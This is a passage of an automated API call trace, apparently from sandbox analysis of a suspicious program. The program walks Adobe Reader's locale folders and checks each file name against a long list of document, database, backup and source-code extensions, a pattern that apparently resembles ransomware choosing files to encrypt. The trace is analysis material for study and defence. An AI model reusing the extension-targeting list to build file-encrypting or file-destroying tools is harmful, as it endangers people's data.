lpString2="ngs.js") returned -1 [0263.838] lstrlenW (lpString=".clx") returned 4 [0263.838] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".config") returned 7 [0263.838] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.838] lstrlenW (lpString=".cpp") returned 4 [0263.838] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".cr2") returned 4 [0263.838] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".crt") returned 4 [0263.838] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".crw") returned 4 [0263.838] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".cs") returned 3 [0263.838] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.838] lstrlenW (lpString=".css") returned 4 [0263.838] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".csv") returned 4 [0263.838] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".cub") returned 4 [0263.838] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.838] lstrlenW (lpString=".dae") returned 4 [0263.838] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dat") returned 4 [0263.839] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".db") returned 3 [0263.839] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.839] lstrlenW (lpString=".dbf") returned 4 [0263.839] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dbx") returned 4 [0263.839] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dc3") returned 4 [0263.839] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dcm") returned 4 [0263.839] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dcr") returned 4 [0263.839] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".der") returned 4 [0263.839] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dib") returned 4 [0263.839] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dic") returned 4 [0263.839] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".dif") returned 4 [0263.839] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.839] lstrlenW (lpString=".divx") returned 5 [0263.839] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.840] lstrlenW (lpString=".djvu") returned 5 [0263.840] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.840] lstrlenW (lpString=".dng") returned 4 [0263.840] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.840] lstrlenW (lpString=".doc") returned 4 [0263.840] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.840] lstrlenW (lpString=".docm") returned 5 [0263.840] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.840] lstrlenW (lpString=".docx") returned 5 [0263.840] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.840] lstrlenW (lpString=".dot") returned 4 [0263.840] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.840] lstrlenW (lpString=".dotm") returned 5 [0263.840] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.840] lstrlenW (lpString=".dotx") returned 5 [0263.840] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.840] lstrlenW (lpString=".dpx") returned 4 [0263.840] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.840] lstrlenW (lpString=".dqy") returned 4 [0263.840] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.840] lstrlenW (lpString=".dsn") returned 4 [0263.840] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.840] lstrlenW (lpString=".dt") returned 3 [0263.840] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.841] lstrlenW (lpString=".dtd") returned 4 [0263.841] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".dwg") returned 4 [0263.841] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".dwt") returned 4 [0263.841] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".dx") returned 3 [0263.841] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.841] lstrlenW (lpString=".dxf") returned 4 [0263.841] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".edml") returned 5 [0263.841] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.841] lstrlenW (lpString=".efd") returned 4 [0263.841] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".elf") returned 4 [0263.841] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".emf") returned 4 [0263.841] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".emz") returned 4 [0263.841] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.841] lstrlenW (lpString=".epf") returned 4 [0263.842] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.842] lstrlenW (lpString=".eps") returned 4 [0263.842] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.842] lstrlenW (lpString=".epsf") returned 5 [0263.842] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.842] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.842] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0263.846] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.846] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.846] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0263.846] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.847] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0263.847] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.847] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.848] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.848] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0263.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.848] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0263.848] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.848] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0263.849] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.849] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.849] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.849] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0263.849] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.849] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0263.849] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.849] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0264.564] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.564] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.564] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.564] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0264.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0264.565] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0264.565] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0264.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0264.565] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0264.565] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0264.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0264.565] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0264.565] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0264.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0264.569] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0264.569] lstrlenW (lpString="desktop.js") returned 10 [0264.570] lstrlenW (lpString=".1cd") returned 4 [0264.570] lstrcmpiW (lpString1=".1cd", lpString2="p.js") returned -1 [0264.570] lstrlenW (lpString=".3ds") returned 4 [0264.570] lstrcmpiW (lpString1=".3ds", lpString2="p.js") returned -1 [0264.570] lstrlenW (lpString=".3fr") returned 4 [0264.570] lstrcmpiW (lpString1=".3fr", lpString2="p.js") returned -1 [0264.570] lstrlenW (lpString=".3g2") returned 4 [0264.570] lstrcmpiW (lpString1=".3g2", lpString2="p.js") returned -1 [0264.570] lstrlenW (lpString=".3gp") returned 4 [0264.570] lstrcmpiW (lpString1=".3gp", lpString2="p.js") returned -1 [0264.570] lstrlenW (lpString=".7z") returned 3 [0264.570] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.570] lstrlenW (lpString=".accda") returned 6 [0264.570] lstrcmpiW (lpString1=".accda", lpString2="top.js") returned -1 [0264.570] lstrlenW (lpString=".accdb") returned 6 [0264.570] lstrcmpiW (lpString1=".accdb", lpString2="top.js") returned -1 [0264.570] lstrlenW (lpString=".accdc") returned 6 [0264.570] lstrcmpiW (lpString1=".accdc", lpString2="top.js") returned -1 [0264.570] lstrlenW (lpString=".accde") returned 6 [0264.570] lstrcmpiW (lpString1=".accde", lpString2="top.js") returned -1 [0264.570] lstrlenW (lpString=".accdt") returned 6 [0264.570] lstrcmpiW (lpString1=".accdt", lpString2="top.js") returned -1 [0264.570] lstrlenW (lpString=".accdw") returned 6 [0264.570] lstrcmpiW (lpString1=".accdw", lpString2="top.js") returned -1 [0264.570] lstrlenW (lpString=".adb") returned 4 [0264.571] lstrcmpiW (lpString1=".adb", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".adp") returned 4 [0264.571] lstrcmpiW (lpString1=".adp", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".ai") returned 3 [0264.571] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.571] lstrlenW (lpString=".ai3") returned 4 [0264.571] lstrcmpiW (lpString1=".ai3", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".ai4") returned 4 [0264.571] lstrcmpiW (lpString1=".ai4", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".ai5") returned 4 [0264.571] lstrcmpiW (lpString1=".ai5", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".ai6") returned 4 [0264.571] lstrcmpiW (lpString1=".ai6", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".ai7") returned 4 [0264.571] lstrcmpiW (lpString1=".ai7", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".ai8") returned 4 [0264.571] lstrcmpiW (lpString1=".ai8", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".anim") returned 5 [0264.571] lstrcmpiW (lpString1=".anim", lpString2="op.js") returned -1 [0264.571] lstrlenW (lpString=".arw") returned 4 [0264.571] lstrcmpiW (lpString1=".arw", lpString2="p.js") returned -1 [0264.571] lstrlenW (lpString=".as") returned 3 [0264.571] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.571] lstrlenW (lpString=".asa") returned 4 [0264.572] lstrcmpiW (lpString1=".asa", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".asc") returned 4 [0264.572] lstrcmpiW (lpString1=".asc", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".ascx") returned 5 [0264.572] lstrcmpiW (lpString1=".ascx", lpString2="op.js") returned -1 [0264.572] lstrlenW (lpString=".asm") returned 4 [0264.572] lstrcmpiW (lpString1=".asm", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".asmx") returned 5 [0264.572] lstrcmpiW (lpString1=".asmx", lpString2="op.js") returned -1 [0264.572] lstrlenW (lpString=".asp") returned 4 [0264.572] lstrcmpiW (lpString1=".asp", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".aspx") returned 5 [0264.572] lstrcmpiW (lpString1=".aspx", lpString2="op.js") returned -1 [0264.572] lstrlenW (lpString=".asr") returned 4 [0264.572] lstrcmpiW (lpString1=".asr", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".asx") returned 4 [0264.572] lstrcmpiW (lpString1=".asx", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".avi") returned 4 [0264.572] lstrcmpiW (lpString1=".avi", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".avs") returned 4 [0264.572] lstrcmpiW (lpString1=".avs", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".backup") returned 7 [0264.572] lstrcmpiW (lpString1=".backup", lpString2="ktop.js") returned -1 [0264.572] lstrlenW (lpString=".bak") returned 4 [0264.572] lstrcmpiW (lpString1=".bak", lpString2="p.js") returned -1 [0264.572] lstrlenW (lpString=".bay") returned 4 [0264.573] lstrcmpiW (lpString1=".bay", lpString2="p.js") returned -1 [0264.573] lstrlenW (lpString=".bd") returned 3 [0264.573] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.573] lstrlenW (lpString=".bin") returned 4 [0264.573] lstrcmpiW (lpString1=".bin", lpString2="p.js") returned -1 [0264.573] lstrlenW (lpString=".bmp") returned 4 [0264.573] lstrcmpiW (lpString1=".bmp", lpString2="p.js") returned -1 [0264.573] lstrlenW (lpString=".bz2") returned 4 [0264.573] lstrcmpiW (lpString1=".bz2", lpString2="p.js") returned -1 [0264.573] lstrlenW (lpString=".c") returned 2 [0264.573] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.573] lstrlenW (lpString=".cdr") returned 4 [0264.573] lstrcmpiW (lpString1=".cdr", lpString2="p.js") returned -1 [0264.573] lstrlenW (lpString=".cer") returned 4 [0264.573] lstrcmpiW (lpString1=".cer", lpString2="p.js") returned -1 [0264.573] lstrlenW (lpString=".cf") returned 3 [0264.574] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.574] lstrlenW (lpString=".cfc") returned 4 [0264.574] lstrcmpiW (lpString1=".cfc", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".cfm") returned 4 [0264.574] lstrcmpiW (lpString1=".cfm", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".cfml") returned 5 [0264.574] lstrcmpiW (lpString1=".cfml", lpString2="op.js") returned -1 [0264.574] lstrlenW (lpString=".cfu") returned 4 [0264.574] lstrcmpiW (lpString1=".cfu", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".chm") returned 4 [0264.574] lstrcmpiW (lpString1=".chm", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".cin") returned 4 [0264.574] lstrcmpiW (lpString1=".cin", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".class") returned 6 [0264.574] lstrcmpiW (lpString1=".class", lpString2="top.js") returned -1 [0264.574] lstrlenW (lpString=".clx") returned 4 [0264.574] lstrcmpiW (lpString1=".clx", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".config") returned 7 [0264.574] lstrcmpiW (lpString1=".config", lpString2="ktop.js") returned -1 [0264.574] lstrlenW (lpString=".cpp") returned 4 [0264.574] lstrcmpiW (lpString1=".cpp", lpString2="p.js") returned -1 [0264.574] lstrlenW (lpString=".cr2") returned 4 [0264.574] lstrcmpiW (lpString1=".cr2", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".crt") returned 4 [0264.575] lstrcmpiW (lpString1=".crt", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".crw") returned 4 [0264.575] lstrcmpiW (lpString1=".crw", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".cs") returned 3 [0264.575] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.575] lstrlenW (lpString=".css") returned 4 [0264.575] lstrcmpiW (lpString1=".css", lpString2="p.js") returned -1 [0264.575] lstrlenW (lpString=".csv") returned 4 [0264.575] lstrcmpiW (lpString1=".csv", 